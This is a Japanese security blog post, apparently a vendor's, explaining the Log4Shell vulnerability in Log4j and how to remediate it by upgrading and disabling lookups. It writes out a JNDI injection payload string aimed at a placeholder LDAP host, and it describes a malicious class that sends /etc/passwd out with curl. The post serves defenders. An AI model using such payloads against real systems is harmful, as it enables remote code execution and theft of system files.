Log4jの脆弱性を解説:バージョン2.17.1への更新でLog4ShellのRCEを防ぐ
2021年12月10日
0 分で読めます編集者注(2021年12月28日 午後7時35分 GMT):
Log4jチームは新たなセキュリティアップデートを公開し、2.17.0にリモートコード実行の脆弱性があることを確認しました。この脆弱性はCVE-2021-44832として識別されています。現時点での最新バージョンである2.17.1へのアップグレードを推奨します。Log4Shellをめぐる状況は急速に変化しているため、新しい情報が入り次第、ブログを更新していきます。
本日(2021年12月10日)、新たな重大なLog4jの脆弱性、Log4Shellが公開されました。この広く使われているJavaロギングフレームワークの脆弱性はCVE-2021-44228として公開され、CVSSスコア10(最高スコア)のCriticalに分類されています。この脆弱性は、AlibabaのCloud Securityチームに所属するChen Zhaojun氏によって発見されました。
Log4j2はほぼすべてのバージョンが影響を受けるため、修正するには2.17.1に更新してください。詳しい修正方法については、Log4Shell Remediation Cheat Sheetをご覧ください。
Javaエコシステムの多くのアプリケーションフレームワークでは、このロギングフレームワークがデフォルトで使われています。たとえば、Apache Struts 2、Apache Solr、Apache Druidはいずれも影響を受けます。これらに加えて、Apache Log4jは多くのSpringやSpring Bootアプリケーションでも使われているため、アプリケーションを確認し、最新バージョンに更新することをおすすめします。
Log4Shellの深刻度は?
簡単に言えば、「非常に深刻」です!Log4Shellの脆弱性は、Minecraftで初めて確認されました。Microsoftはこの問題を迅速に修正するため、緊急パッチを公開しました。TechCrunchの報道によると、Apple、Amazon、Twitter、CloudflareはLog4Shell攻撃の影響を受ける可能性があります。TechCrunchによれば、「ニュージーランドのComputer Emergency Response Team(CERT)、Deutsche TelekomのCERT、ウェブ監視サービスのGreynoiseは、攻撃者がLog4Shell攻撃に対して脆弱なサーバーを積極的に探していると警告しています。Greynoiseによると、約100の異なるホストが、Log4jの脆弱性を悪用する方法を探してインターネットをスキャンしています。」
Log4Shellの脆弱性を解説
脆弱なバージョンのLog4jを使っている場合、ログに記録される受信データによってRCE(リモートコード実行)が発生する可能性があります。たとえばJNDI(Java Naming and Directory Interface)を使ってLDAP URLに接続し、そのURLをログに記録する場合(以下を参照)、コードインジェクションを含む悪意あるペイロードを返すことができます。
以下のコードスニペットで、ユーザーが指定した引数を確認してください。引数が条件を満たさない場合、エラーをログに記録します。しかし、ユーザー入力が"${jndi:ldap://someurl/Evil}”の場合、エラーとしてログに記録されることが分かっているため、Log4Shellの脆弱性が引き起こされます。
入力がLog4jでログに記録されることが分かっていれば、LDAPサーバーを用意し、コードを実行するコンパイル済みクラスファイルを返すことができます。以下に、そのようなクラスの例を示します。このオブジェクトは/etc/passwÄファイルをcurlで外部URLに送信します。このユーザー入力は、たとえばHTTPリクエストのヘッダーに隠すことができます。ロガーが文字列を評価すると、悪意あるLDAPサーバーへの呼び出しが行われます。
この問題に関するLuncasecの記事によると、すべてのJavaバージョンが影響を受けます。JDK 6u211、7u201、8u191、11.0.1より新しいバージョンは、com.sun.jndi.ldap.object.trustURLCodebaseがデフォルトでfalseに設定されているため、このLDAP攻撃の影響を受けないように見えました。しかし、LDAPサーバーが返すクラスがすでにクラスパス上にある場合、JDKの新しいバージョンでも、com.sun.jndi.ldap.object.trustURLCodebaseがfalseに設定されていても実行されます。
つまり、アプリケーションにデシリアライゼーション・ガジェットチェーンが存在する場合、デシリアライゼーションを起動してリモートコード実行を引き起こす可能性があります。有名な例として、ガジェットチェーンを含むApache Commons Collections 3.1ライブラリがあります。また、アプリケーション内のライブラリやクラスの組み合わせによって、そのようなチェーンが形成されることもあります。デシリアライゼーションの問題について詳しくは、ブログ記事Javaのシリアライズとデシリアライズ:Javaのデシリアライズ脆弱性を解説をご覧ください。要するに、すべてのJavaバージョンがこの攻撃の影響を受けます!
Log4Shellの脆弱性を修正する
最も簡単な修正方法は、Log4jをバージョン2.17.1以降に更新することです。この動作はデフォルトで無効になっています。以前のリリース(>2.10)では、システムプロパティlog4j2.formatMsgNoLookupsをtrueに設定することで、この動作を緩和できます。次のJavaパラメーターを追加してください。-Dlog4j2.formatMsgNoLookups=true
別の方法として、クラスパスからJndiLookupクラスを削除することで、この脆弱性を緩和できます。
ガイドを参考に、SnykでLog4Shellの脆弱性を検出して修正する方法をご確認ください。
脆弱性を防ぐためのスキャンと更新
今回のLog4jの脆弱性は、アプリケーションの脆弱性をスキャンすることの重要性を改めて示しています。ソフトウェアサプライチェーンの安全性を保つため、定期的にスキャンする必要があります。また、新しいセキュリティアップデートを適用できるよう、Javaディストリビューションを最新リリースに更新することも重要です。
Snyk Open Sourceでアプリケーションをスキャンすると、Log4jのこの問題を含め、オープンソースライブラリの脆弱性を確認できます。以下の例は、IntelliJ IDEAプラグインにこの問題と修正方法が表示されたときの出力です。

Log4jには脆弱性がありますか?
はい。2.0-beta9から2.14.1までのすべてのLog4jバージョンが、Log4Shellの脆弱性の影響を受けます。早急な対応が必要な重大な脆弱性であり、リモートコード実行(RCE)攻撃につながる可能性があります。
Log4jは何に使われていますか?
Log4jは、さまざまなベンダー、オープンソースプロジェクト、フレームワーク、主要な財団プロジェクトで幅広く使われています。Log4jを使用する数百万のJavaアプリケーションに加え、Apache Software Foundation自身の多くのプロジェクトでも使われています。たとえば、Apache Solr、Apache Struts2、Apache Kafka、Apache Druid、Apache Flink、Apache Swiftなどです。
Log4jの使用状況を確認するには?
2.0-beta9から2.14.1までのすべてのバージョンが今回の脆弱性の影響を受けます。Snykを使えば、脆弱なバージョンのパッケージを使用しているか、またそれが直接依存または間接依存として依存関係グラフに取り込まれているかを確認できます。SnykはSDLC全体でLog4Shellを自動的に修正するための支援も行います。
Log4jの脆弱性を修正するには?
最も簡単な修正方法は、Log4jをバージョン2.17.1以降に更新することです。この動作はデフォルトで無効になっています。バージョン2.17.1ではCVE-2021-45046も修正されます。今回のLog4jの脆弱性は、ソフトウェアサプライチェーンの安全性を保つために、アプリケーションの脆弱性を定期的にスキャンすることが重要だと改めて示しています。修正方法について詳しくは、Log4Shell Remediation Cheat Sheetをご覧ください。
CTFを始めよう
オンデマンドのバーチャル入門ワークショップを視聴して、CTFの課題の解き方を学びましょう。
